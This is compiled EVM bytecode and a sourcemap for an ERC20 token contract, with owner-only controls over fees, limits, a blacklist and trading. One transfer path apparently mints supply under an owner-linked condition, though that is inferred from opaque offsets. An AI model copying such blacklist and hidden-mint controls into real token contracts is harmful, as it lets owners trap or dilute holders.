a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b8c565b600061195783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612d0c565b600061195783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612589565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612a9257612a926130e9565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612b0b57600080fd5b505afa158015612b1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b4391906132ac565b81600181518110612b5657612b566130e9565b60200260200101906001600160a01b031690816001600160a01b031681525050612ba1307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461195e565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612bf69085906000908690309042906004016132c9565b600060405180830381600087803b158015612c1057600080fd5b505af1158015610da7573d6000803e3d6000fd5b612c4f307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461195e565b60405163f305d71960e01b8152306004820181905260248201849052600060448301819052606483015260848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c4016060604051808303818588803b158015612cd357600080fd5b505af1158015612ce7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611655919061333a565b60008183612d2d5760405162461bcd60e51b8152600401610b8c9190612d3a565b5060006125ba84866130af565b600060208083528351808285015260005b81811015612d6757858101830151858201604001528201612d4b565b81811115612d79576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114612da457600080fd5b50565b60008060408385031215612dba57600080fd5b8235612dc581612d8f565b946020939093013593505050565b600060208284031215612de557600080fd5b813561195781612d8f565b600060208284031215612e0257600080fd5b5035919050565b60008060008060008060c08789031215612e2257600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b600080600060608486031215612e6157600080fd5b8335612e6c81612d8f565b92506020840135612e7c81612d8f565b929592945050506040919091013590565b803580151581146117b457600080fd5b60008060408385031215612eb057600080fd5b8235612ebb81612d8f565b9150612ec960208401612e8d565b90509250929050565b600080600060608486031215612ee757600080fd5b505081359360208301359350604090920135919050565b600060208284031215612f1057600080fd5b61195782612e8d565b60008083601f840112612f2b57600080fd5b50813567ffffffffffffffff811115612f4357600080fd5b6020830191508360208260051b8501011115612f5e57600080fd5b9250929050565b60008060008060408587031215612f7b57600080fd5b843567ffffffffffffffff80821115612f9357600080fd5b612f9f88838901612f19565b90965094506020870135915080821115612fb857600080fd5b50612fc587828801612f19565b95989497509550505050565b60008060408385031215612fe457600080fd5b8235612fef81612d8f565b91506020830135612fff81612d8f565b809150509250929050565b600181811c9082168061301e57607f821691505b6020821081141561303f57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156130aa576130aa61307a565b500290565b6000826130cc57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156130e4576130e461307a565b500190565b634e487b7160e01b600052603260045260246000fd5b600181815b8085111561313a5781600019048211156131205761312061307a565b8085161561312d57918102915b93841c9390800290613104565b509250929050565b60008261315157506001610b56565b8161315e57506000610b56565b8160018114613174576002811461317e5761319a565b6001915050610b56565b60ff84111561318f5761318f61307a565b50506001821b610b56565b5060208310610133831016604e8410600b84101617156131bd575081810a610b56565b6131c783836130ff565b80600019048211156131db576131db61307a565b029392505050565b600061195760ff841683613142565b60006000198214156132065761320661307a565b5060010190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6000828210156132a7576132a761307a565b500390565b6000602082840312156132be57600080fd5b815161195781612d8f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156133195784516001600160a01b0316835293830193918301916001016132f4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561334f57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122017f5aadc5822ed20aff4cc93eb7854ccf5150614acfd30dbc8554e93aeb624aa64736f6c63430008090033
Deployed Bytecode Sourcemap
29934:18056:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7465:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9982:169;;;;;;;;;;-1:-1:-1;9982:169:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;9982:169:0;1072:187:1;31637:64:0;;;;;;;;;;-1:-1:-1;31637:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;30012:51;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1707:32:1;;;1689:51;;1677:2;1662:18;30012:51:0;1516:230:1;8588:108:0;;;;;;;;;;-1:-1:-1;8676:12:0;;8588:108;;;1897:25:1;;;1885:2;1870:18;8588:108:0;1751:177:1;39057:157:0;;;;;;;;;;-1:-1:-1;39057:157:0;;;;;:::i;:::-;;:::i;:::-;;31351:33;;;;;;;;;;;;;;;;31311;;;;;;;;;;;;;;;;36200:238;;;;;;;;;;-1:-1:-1;36200:238:0;;;;;:::i;:::-;;:::i;37400:644::-;;;;;;;;;;-1:-1:-1;37400:644:0;;;;;:::i;:::-;;:::i;10642:355::-;;;;;;;;;;-1:-1:-1;10642:355:0;;;;;:::i;:::-;;:::i;31228:36::-;;;;;;;;;;;;;;;;38244:135;;;;;;;;;;-1:-1:-1;38244:135:0;;;;;:::i;:::-;;:::i;8429:93::-;;;;;;;;;;-1:-1:-1;8429:93:0;;8512:2;3734:36:1;;3722:2;3707:18;8429:93:0;3592:184:1;11413:218:0;;;;;;;;;;-1:-1:-1;11413:218:0;;;;;:::i;:::-;;:::i;30070:38::-;;;;;;;;;;;;;;;30338:33;;;;;;;;;;-1:-1:-1;30338:33:0;;;;;;;;39226:125;;;;;;;;;;-1:-1:-1;39226:125:0;;;;;:::i;:::-;-1:-1:-1;;;;;39315:28:0;39291:4;39315:28;;;:19;:28;;;;;;;;;39226:125;31185:36;;;;;;;;;;;;;;;;31039:28;;;;;;;;;;;;;;;;30418:31;;;;;;;;;;-1:-1:-1;30418:31:0;;;;;;;;;;;8760:127;;;;;;;;;;-1:-1:-1;8760:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8861:18:0;8834:7;8861:18;;;;;;;;;;;;8760:127;22519:148;;;;;;;;;;;;;:::i;35300:120::-;;;;;;;;;;;;;:::i;36671:144::-;;;;;;;;;;-1:-1:-1;36671:144:0;;;;;:::i;:::-;;:::i;30931:30::-;;;;;;;;;;;;;;;;37022:369;;;;;;;;;;-1:-1:-1;37022:369:0;;;;;:::i;:::-;;:::i;35099:148::-;;;;;;;;;;;;;:::i;21875:79::-;;;;;;;;;;-1:-1:-1;21940:6:0;;;;;-1:-1:-1;;;;;21940:6:0;21875:79;;31074:31;;;;;;;;;;;;;;;;36912:101;;;;;;;;;;-1:-1:-1;36912:101:0;;;;;:::i;:::-;;:::i;7685:104::-;;;;;;;;;;;;;:::i;38388:245::-;;;;;;;;;;-1:-1:-1;38388:245:0;;;;;:::i;:::-;;:::i;31005:24::-;;;;;;;;;;;;;;;;31391:27;;;;;;;;;;;;;;;;31150:25;;;;;;;;;;;;;;;;35631:102;;;;;;;;;;-1:-1:-1;35631:102:0;;;;;:::i;:::-;;:::i;12135:269::-;;;;;;;;;;-1:-1:-1;12135:269:0;;;;;:::i;:::-;;:::i;30456:37::-;;;;;;;;;;-1:-1:-1;30456:37:0;;;;;;;;;;;31271:30;;;;;;;;;;;;;;;;9101:508;;;;;;;;;;-1:-1:-1;9101:508:0;;;;;:::i;:::-;;:::i;38840:208::-;;;;;;;;;;-1:-1:-1;38840:208:0;;;;;:::i;:::-;;:::i;31860:58::-;;;;;;;;;;-1:-1:-1;31860:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;30378:33;;;;;;;;;;-1:-1:-1;30378:33:0;;;;;;;;;;;38053:182;;;;;;;;;;-1:-1:-1;38053:182:0;;;;;:::i;:::-;;:::i;36447:215::-;;;;;;;;;;-1:-1:-1;36447:215:0;;;;;:::i;:::-;;:::i;47650:331::-;;;;;;;;;;-1:-1:-1;47650:331:0;;;;;:::i;:::-;;:::i;30848:39::-;;;;;;;;;;-1:-1:-1;30848:39:0;;;;;;;;30222:35;;;;;;;;;;;;;;;;35805:386;;;;;;;;;;-1:-1:-1;35805:386:0;;;;;:::i;:::-;;:::i;30897:27::-;;;;;;;;;;;;;;;;9683:151;;;;;;;;;;-1:-1:-1;9683:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;9799:18:0;;;9772:7;9799:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9683:151;30264:33;;;;;;;;;;;;;;;;35482:134;;;;;;;;;;;;;:::i;30968:30::-;;;;;;;;;;;;;;;;22823:244;;;;;;;;;;-1:-1:-1;22823:244:0;;;;;:::i;:::-;;:::i;31112:31::-;;;;;;;;;;;;;;;;30304:24;;;;;;;;;;;;;;;;7465:100;7519:13;7552:5;7545:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7465:100;:::o;9982:169::-;10065:4;10082:39;184:10;10105:7;10114:6;10082:8;:39::i;:::-;-1:-1:-1;10139:4:0;9982:169;;;;;:::o;39057:157::-;22088:6;;-1:-1:-1;;;;;22088:6:0;;;;;184:10;22088:22;22080:67;;;;-1:-1:-1;;;22080:67:0;;;;;;;:::i;:::-;;;;;;;;;39164:9:::1;::::0;39136:38:::1;::::0;-1:-1:-1;;;;;39164:9:0;;::::1;::::0;39136:38;::::1;::::0;::::1;::::0;39164:9:::1;::::0;39136:38:::1;39185:9;:21:::0;;-1:-1:-1;;;;;;39185:21:0::1;-1:-1:-1::0;;;;;39185:21:0;;;::::1;::::0;;;::::1;::::0;;39057:157::o;36200:238::-;22088:6;;-1:-1:-1;;;;;22088:6:0;;;;;184:10;22088:22;22080:67;;;;-1:-1:-1;;;22080:67:0;;;;;;;:::i;:::-;36323:4:::1;36313:8;36293:13;8676:12:::0;;;8588:108;36293:13:::1;:17;::::0;36309:1:::1;36293:17;:::i;:::-;:28;;;;:::i;:::-;36292:35;;;;:::i;:::-;36282:6;:45;;36274:105;;;::::0;-1:-1:-1;;;36274:105:0;;7513:2:1;36274:105:0::1;::::0;::::1;7495:21:1::0;7552:2;7532:18;;;7525:30;7591:34;7571:18;;;7564:62;-1:-1:-1;;;7642:18:1;;;7635:45;7697:19;;36274:105:0::1;7311:411:1::0;36274:105:0::1;36413:17;:6:::0;36423::::1;36413:17;:::i;:::-;36390:20;:40:::0;-1:-1:-1;36200:238:0:o;37400:644::-;22088:6;;-1:-1:-1;;;;;22088:6:0;;;;;184:10;22088:22;22080:67;;;;-1:-1:-1;;;22080:67:0;;;;;;;:::i;:::-;37607:16:::1;:32:::0;;;37650:16:::1;:32:::0;;;37693:10:::1;:20:::0;;;37724:21:::1;:46:::0;;;37781:21:::1;:46:::0;;;37835:15:::1;:34:::0;;;37706:7;37896:35:::1;37669:13:::0;37626;37896:35:::1;:::i;:::-;:48;;;;:::i;:::-;37880:13;:64:::0;;;37980:3:::1;-1:-1:-1::0;37963:20:0::1;37955:81;;;::::0;-1:-1:-1;;;37955:81:0;;8062:2:1;37955:81:0::1;::::0;::::1;8044:21:1::0;8101:2;8081:18;;;8074:30;8140:34;8120:18;;;8113:62;-1:-1:-1;;;8191:18:1;;;8184:46;8247:19;;37955:81:0::1;7860:412:1::0;37955:81:0::1;37400:644:::0;;;;;;:::o;10642:355::-;10782:4;10799:36;10809:6;10817:9;10828:6;10799:9;:36::i;:::-;10846:121;10855:6;184:10;10877:89;10915:6;10877:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10877:19:0;;;;;;:11;:19;;;;;;;;184:10;10877:33;;;;;;;;;;:37;:89::i;:::-;10846:8;:121::i;:::-;-1:-1:-1;10985:4:0;10642:355;;;;;:::o;38244:135::-;22088:6;;-1:-1:-1;;;;;22088:6:0;;;;;184:10;22088:22;22080:67;;;;-1:-1:-1;;;22080:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;38336:19:0;;;::::1;;::::0;;;:10:::1;:19;::::0;;;;:35;;-1:-1:-1;;38336:35:0::1;::::0;::::1;;::::0;;;::::1;::::0;;38244:135::o;11413:218::-;184:10;11501:4;11550:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;11550:34:0;;;;;;;;;;11501:4;;11518:83;;11541:7;;11550:50;;11589:10;11550:38;:50::i;22519:148::-;22088:6;;-1:-1:-1;;;;;22088:6:0;;;;;184:10;22088:22;22080:67;;;;-1:-1:-1;;;22080:67:0;;;;;;;:::i;:::-;22610:6:::1;::::0;22589:40:::1;::::0;22626:1:::1;::::0;22610:6:::1;::::0;::::1;-1:-1:-1::0;;;;;22610:6:0::1;::::0;22589:40:::1;::::0;22626:1;;22589:40:::1;22640:6;:19:::0;;-1:-1:-1;;;;;;22640:19:0::1;::::0;;22519:148::o;35300:120::-;22088:6;;35352:4;;-1:-1:-1;;;;;22088:6:0;;;;;184:10;22088:22;22080:67;;;;-1:-1:-1;;;22080:67:0;;;;;;;:::i;:::-;-1:-1:-1;35368:14:0::1;:22:::0;;-1:-1:-1;;35368:22:0::1;::::0;;;35300:120;:::o;36671:144::-;22088:6;;-1:-1:-1;;;;;22088:6:0;;;;;184:10;22088:22;22080:67;;;;-1:-1:-1;;;22080:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;36761:39:0;;;::::1;;::::0;;;:31:::1;:39:::0;;;;;:46;;-1:-1:-1;;36761:46:0::1;::::0;::::1;;::::0;;;::::1;::::0;;36671:144::o;37022:369::-;22088:6;;-1:-1:-1;;;;;22088:6:0;;;;;184:10;22088:22;22080:67;;;;-1:-1:-1;;;22080:67:0;;;;;;;:::i;:::-;37138:15:::1;:31:::0;;;37180:15:::1;:31:::0;;;37222:9:::1;:19:::0;;;37234:7;37267:33:::1;37198:13:::0;37156;37267:33:::1;:::i;:::-;:45;;;;:::i;:::-;37252:12;:60:::0;;;37347:2:::1;-1:-1:-1::0;37331:18:0::1;37323:60;;;::::0;-1:-1:-1;;;37323:60:0;;8479:2:1;37323:60:0::1;::::0;::::1;8461:21:1::0;8518:2;8498:18;;;8491:30;8557:31;8537:18;;;8530:59;8606:18;;37323:60:0::1;8277:353:1::0;37323:60:0::1;37022:369:::0;;;:::o;35099:148::-;22088:6;;-1:-1:-1;;;;;22088:6:0;;;;;184:10;22088:22;22080:67;;;;-1:-1:-1;;;22080:67:0;;;;;;;:::i;:::-;35154:13:::1;:20:::0;;-1:-1:-1;;35185:18:0;;;;;35227:12:::1;35214:10;:25:::0;35099:148::o;36912:101::-;22088:6;;-1:-1:-1;;;;;22088:6:0;;;;;184:10;22088:22;22080:67;;;;-1:-1:-1;;;22080:67:0;;;;;;;:::i;:::-;36984:11:::1;:21:::0;;;::::1;;::::0;::::1;-1:-1:-1::0;;36984:21:0;;::::1;::::0;;;::::1;::::0;;36912:101::o;7685:104::-;7741:13;7774:7;7767:14;;;;;:::i;38388:245::-;22088:6;;-1:-1:-1;;;;;22088:6:0;;;;;184:10;22088:22;22080:67;;;;-1:-1:-1;;;22080:67:0;;;;;;;:::i;:::-;38495:13:::1;-1:-1:-1::0;;;;;38487:21:0::1;:4;-1:-1:-1::0;;;;;38487:21:0::1;;;38479:91;;;::::0;-1:-1:-1;;;38479:91:0;;8837:2:1;38479:91:0::1;::::0;::::1;8819:21:1::0;8876:2;8856:18;;;8849:30;8915:34;8895:18;;;8888:62;8986:27;8966:18;;;8959:55;9031:19;;38479:91:0::1;8635:421:1::0;38479:91:0::1;38584:41;38613:4;38619:5;38584:28;:41::i;:::-;38388:245:::0;;:::o;35631:102::-;22088:6;;-1:-1:-1;;;;;22088:6:0;;;;;184:10;22088:22;22080:67;;;;-1:-1:-1;;;22080:67:0;;;;;;;:::i;:::-;35699:18:::1;:26:::0;;;::::1;;::::0;::::1;-1:-1:-1::0;;35699:26:0;;::::1;::::0;;;::::1;::::0;;35631:102::o;12135:269::-;12228:4;12245:129;184:10;12268:7;12277:96;12316:15;12277:96;;;;;;;;;;;;;;;;;184:10;12277:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;12277:34:0;;;;;;;;;;;;:38;:96::i;9101:508::-;9180:4;-1:-1:-1;;;;;9201:25:0;;184:10;9201:25;9200:44;;;;-1:-1:-1;9232:5:0;;;;:11;;:5;:11;9200:44;9197:405;;;9246:42;184:10;9256:12;9270:9;9281:6;9246:9;:42::i;:::-;-1:-1:-1;9290:5:0;:11;;-1:-1:-1;;9290:11:0;;;;9302;;9197:405;-1:-1:-1;;;;;9334:25:0;;184:10;9334:25;9333:45;;;;-1:-1:-1;9365:5:0;;;;:12;9333:45;9330:272;;;9393:12;;:24;;9410:6;9393:16;:24::i;:::-;9380:12;:37;-1:-1:-1;;;;;9439:20:0;;:9;:20;;;;;;;;;;;:32;;9464:6;9439:24;:32::i;:::-;-1:-1:-1;;;;;9418:20:0;;:9;:20;;;;;;;;;;;;:53;;;;9477:38;1897:25:1;;;9418:20:0;;;;9477:38;;1870:18:1;9477:38:0;;;;;;;-1:-1:-1;9524:4:0;9517:11;;9330:272;9545:42;184:10;9555:12;104:98;9545:42;-1:-1:-1;9596:4:0;9589:11;;38840:208;22088:6;;-1:-1:-1;;;;;22088:6:0;;;;;184:10;22088:22;22080:67;;;;-1:-1:-1;;;22080:67:0;;;;;;;:::i;:::-;38977:15:::1;::::0;38934:59:::1;::::0;-1:-1:-1;;;;;38977:15:0;;::::1;::::0;38934:59;::::1;::::0;::::1;::::0;38977:15:::1;::::0;38934:59:::1;39004:15;:36:::0;;-1:-1:-1;;;;;;39004:36:0::1;-1:-1:-1::0;;;;;39004:36:0;;;::::1;::::0;;;::::1;::::0;;38840:208::o;38053:182::-;22088:6;;-1:-1:-1;;;;;22088:6:0;;;;;184:10;22088:22;22080:67;;;;-1:-1:-1;;;22080:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;38138:28:0;::::1;;::::0;;;:19:::1;:28;::::0;;;;;;;;:39;;-1:-1:-1;;38138:39:0::1;::::0;::::1;;::::0;;::::1;::::0;;;38193:34;;1212:41:1;;;38193:34:0::1;::::0;1185:18:1;38193:34:0::1;;;;;;;38053:182:::0;;:::o;36447:215::-;22088:6;;-1:-1:-1;;;;;22088:6:0;;;;;184:10;22088:22;22080:67;;;;-1:-1:-1;;;22080:67:0;;;;;;;:::i;:::-;36569:4:::1;36563;36543:13;8676:12:::0;;;8588:108;36543:13:::1;:17;::::0;36559:1:::1;36543:17;:::i;:::-;:24;;;;:::i;:::-;36542:31;;;;:::i;:::-;36532:6;:41;;36524:90;;;::::0;-1:-1:-1;;;36524:90:0;;9263:2:1;36524:90:0::1;::::0;::::1;9245:21:1::0;9302:2;9282:18;;;9275:30;9341:34;9321:18;;;9314:62;-1:-1:-1;;;9392:18:1;;;9385:34;9436:19;;36524:90:0::1;9061:400:1::0;36524:90:0::1;36637:17;:6:::0;36647::::1;36637:17;:::i;:::-;36625:9;:29:::0;-1:-1:-1;36447:215:0:o;47650:331::-;22088:6;;-1:-1:-1;;;;;22088:6:0;;;;;184:10;22088:22;22080:67;;;;-1:-1:-1;;;22080:67:0;;;;;;;:::i;:::-;21940:6;;8676:12;;47778:41:::1;::::0;21940:6;;;-1:-1:-1;;;;;21940:6:0;;;;10846:8;:121::i;47778:41::-:1;47835:9;47830:144;47850:21:::0;;::::1;47830:144;;;47893:69;47906:10;47918;;47929:1;47918:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;47945:16;8512:2:::0;47945::::1;:16;:::i;:::-;47933:6;;47940:1;47933:9;;;;;;;:::i;:::-;;;;;;;:28;;;;:::i;47893:69::-;-1:-1:-1::0;47873:3:0;::::1;::::0;::::1;:::i;:::-;;;;47830:144;;;;47650:331:::0;;;;:::o;35805:386::-;22088:6;;35886:4;;-1:-1:-1;;;;;22088:6:0;;;;;184:10;22088:22;22080:67;;;;-1:-1:-1;;;22080:67:0;;;;;;;:::i;:::-;35943:6:::1;35923:13;8676:12:::0;;;8588:108;35923:13:::1;:17;::::0;35939:1:::1;35923:17;:::i;:::-;:26;;;;:::i;:::-;35910:9;:39;;35902:105;;;::::0;-1:-1:-1;;;35902:105:0;;11323:2:1;35902:105:0::1;::::0;::::1;11305:21:1::0;11362:2;11342:18;;;11335:30;11401:34;11381:18;;;11374:62;-1:-1:-1;;;11452:18:1;;;11445:51;11513:19;;35902:105:0::1;11121:417:1::0;35902:105:0::1;36059:4;36039:13;8676:12:::0;;;8588:108;36039:13:::1;:17;::::0;36055:1:::1;36039:17;:::i;:::-;:24;;;;:::i;:::-;36026:9;:37;;36018:102;;;::::0;-1:-1:-1;;;36018:102:0;;11745:2:1;36018:102:0::1;::::0;::::1;11727:21:1::0;11784:2;11764:18;;;11757:30;11823:34;11803:18;;;11796:62;-1:-1:-1;;;11874:18:1;;;11867:50;11934:19;;36018:102:0::1;11543:416:1::0;36018:102:0::1;-1:-1:-1::0;36131:18:0::1;:30:::0;;;36179:4:::1;22158:1;35805:386:::0;;;:::o;35482:134::-;22088:6;;35542:4;;-1:-1:-1;;;;;22088:6:0;;;;;184:10;22088:22;22080:67;;;;-1:-1:-1;;;22080:67:0;;;;;;;:::i;:::-;-1:-1:-1;35558:20:0::1;:28:::0;;-1:-1:-1;;35558:28:0::1;::::0;;;35482:134;:::o;22823:244::-;22088:6;;-1:-1:-1;;;;;22088:6:0;;;;;184:10;22088:22;22080:67;;;;-1:-1:-1;;;22080:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;22912:22:0;::::1;22904:73;;;::::0;-1:-1:-1;;;22904:73:0;;12166:2:1;22904:73:0::1;::::0;::::1;12148:21:1::0;12205:2;12185:18;;;12178:30;12244:34;12224:18;;;12217:62;-1:-1:-1;;;12295:18:1;;;12288:36;12341:19;;22904:73:0::1;11964:402:1::0;22904:73:0::1;23014:6;::::0;22993:38:::1;::::0;-1:-1:-1;;;;;22993:38:0;;::::1;::::0;23014:6:::1;::::0;::::1;;::::0;22993:38:::1;::::0;;;::::1;23042:6;:17:::0;;-1:-1:-1;;;;;23042:17:0;;::::1;;;-1:-1:-1::0;;;;;;23042:17:0;;::::1;::::0;;;::::1;::::0;;22823:244::o;16717:182::-;16775:7;;16807:5;16811:1;16807;:5;:::i;:::-;16795:17;;16836:1;16831;:6;;16823:46;;;;-1:-1:-1;;;16823:46:0;;12573:2:1;16823:46:0;;;12555:21:1;12612:2;12592:18;;;12585:30;12651:29;12631:18;;;12624:57;12698:18;;16823:46:0;12371:351:1;16823:46:0;16890:1;16717:182;-1:-1:-1;;;16717:182:0:o;15331:381::-;-1:-1:-1;;;;;15467:19:0;;15459:68;;;;-1:-1:-1;;;15459:68:0;;12929:2:1;15459:68:0;;;12911:21:1;12968:2;12948:18;;;12941:30;13007:34;12987:18;;;12980:62;-1:-1:-1;;;13058:18:1;;;13051:34;13102:19;;15459:68:0;12727:400:1;15459:68:0;-1:-1:-1;;;;;15546:21:0;;15538:68;;;;-1:-1:-1;;;15538:68:0;;13334:2:1;15538:68:0;;;13316:21:1;13373:2;13353:18;;;13346:30;13412:34;13392:18;;;13385:62;-1:-1:-1;;;13463:18:1;;;13456:32;13505:19;;15538:68:0;13132:398:1;15538:68:0;-1:-1:-1;;;;;15620:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15672:32;;1897:25:1;;;15672:32:0;;1870:18:1;15672:32:0;;;;;;;;15331:381;;;:::o;39411:5519::-;-1:-1:-1;;;;;39543:18:0;;39535:68;;;;-1:-1:-1;;;39535:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;39622:16:0;;39614:64;;;;-1:-1:-1;;;39614:64:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;39698:14:0;;;;;;:10;:14;;;;;;;;39697:15;:36;;;;-1:-1:-1;;;;;;39717:16:0;;;;;;:10;:16;;;;;;;;39716:17;39697:36;39689:98;;;;-1:-1:-1;;;39689:98:0;;14547:2:1;39689:98:0;;;14529:21:1;14586:2;14566:18;;;14559:30;14625:34;14605:18;;;14598:62;-1:-1:-1;;;14676:18:1;;;14669:47;14733:19;;39689:98:0;14345:413:1;39689:98:0;39802:11;39799:92;;39830:28;39846:4;39852:2;39856:1;39830:15;:28::i;39799:92::-;39907:14;;;;39904:1811;;;21940:6;;-1:-1:-1;;;;;39959:15:0;;;21940:6;;;;;39959:15;;;;:49;;-1:-1:-1;21940:6:0;;-1:-1:-1;;;;;39995:13:0;;;21940:6;;;;;39995:13;;39959:49;:86;;;;-1:-1:-1;;;;;;40029:16:0;;;;39959:86;:128;;;;-1:-1:-1;;;;;;40066:21:0;;40080:6;40066:21;;39959:128;:158;;;;-1:-1:-1;40109:8:0;;-1:-1:-1;;;40109:8:0;;;;40108:9;39959:158;39937:1767;;;40155:13;;;;;;;40151:148;;-1:-1:-1;;;;;40200:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;40229:23:0;;;;;;:19;:23;;;;;;;;40200:52;40192:87;;;;-1:-1:-1;;;40192:87:0;;14965:2:1;40192:87:0;;;14947:21:1;15004:2;14984:18;;;14977:30;-1:-1:-1;;;15023:18:1;;;15016:52;15085:18;;40192:87:0;14763:346:1;40192:87:0;40458:20;;;;40454:423;;;21940:6;;-1:-1:-1;;;;;40506:13:0;;;21940:6;;;;;40506:13;;;;:47;;;40537:15;-1:-1:-1;;;;;40523:30:0;:2;-1:-1:-1;;;;;40523:30:0;;;40506:47;:79;;;;;40571:13;-1:-1:-1;;;;;40557:28:0;:2;-1:-1:-1;;;;;40557:28:0;;;40506:79;40502:356;;;40650:9;40621:39;;;;:28;:39;;;;;;40663:12;-1:-1:-1;40613:140:0;;;;-1:-1:-1;;;40613:140:0;;15316:2:1;40613:140:0;;;15298:21:1;15355:2;15335:18;;;15328:30;15394:34;15374:18;;;15367:62;15465:34;15445:18;;;15438:62;-1:-1:-1;;;15516:19:1;;;15509:40;15566:19;;40613:140:0;15114:477:1;40613:140:0;40809:9;40780:39;;;;:28;:39;;;;;40822:12;40780:54;;40502:356;-1:-1:-1;;;;;40930:31:0;;;;;;:25;:31;;;;;;;;:71;;;;-1:-1:-1;;;;;;40966:35:0;;;;;;:31;:35;;;;;;;;40965:36;40930:71;40926:763;;;41048:20;;41038:6;:30;;41030:96;;;;-1:-1:-1;;;41030:96:0;;15798:2:1;41030:96:0;;;15780:21:1;15837:2;15817:18;;;15810:30;15876:34;15856:18;;;15849:62;-1:-1:-1;;;15927:18:1;;;15920:51;15988:19;;41030:96:0;15596:417:1;41030:96:0;41187:9;;-1:-1:-1;;;;;8861:18:0;;8834:7;8861:18;;;;;;;;;;;41161:22;;:6;:22;:::i;:::-;:35;;41153:67;;;;-1:-1:-1;;;41153:67:0;;16220:2:1;41153:67:0;;;16202:21:1;16259:2;16239:18;;;16232:30;-1:-1:-1;;;16278:18:1;;;16271:49;16337:18;;41153:67:0;16018:343:1;41153:67:0;40926:763;;;-1:-1:-1;;;;;41299:29:0;;;;;;:25;:29;;;;;;;;:71;;;;-1:-1:-1;;;;;;41333:37:0;;;;;;:31;:37;;;;;;;;41332:38;41299:71;41295:394;;;41417:20;;41407:6;:30;;41399:97;;;;-1:-1:-1;;;41399:97:0;;16568:2:1;41399:97:0;;;16550:21:1;16607:2;16587:18;;;16580:30;16646:34;16626:18;;;16619:62;-1:-1:-1;;;16697:18:1;;;16690:52;16759:19;;41399:97:0;16366:418:1;41295:394:0;-1:-1:-1;;;;;41543:35:0;;;;;;:31;:35;;;;;;;;41539:150;;41636:9;;-1:-1:-1;;;;;8861:18:0;;8834:7;8861:18;;;;;;;;;;;41610:22;;:6;:22;:::i;:::-;:35;;41602:67;;;;-1:-1:-1;;;41602:67:0;;16220:2:1;41602:67:0;;;16202:21:1;16259:2;16239:18;;;16232:30;-1:-1:-1;;;16278:18:1;;;16271:49;16337:18;;41602:67:0;16018:343:1;41602:67:0;41776:10;;:14;;41789:1;41776:14;:::i;:::-;41759:12;:32;;:73;;;;;41819:13;-1:-1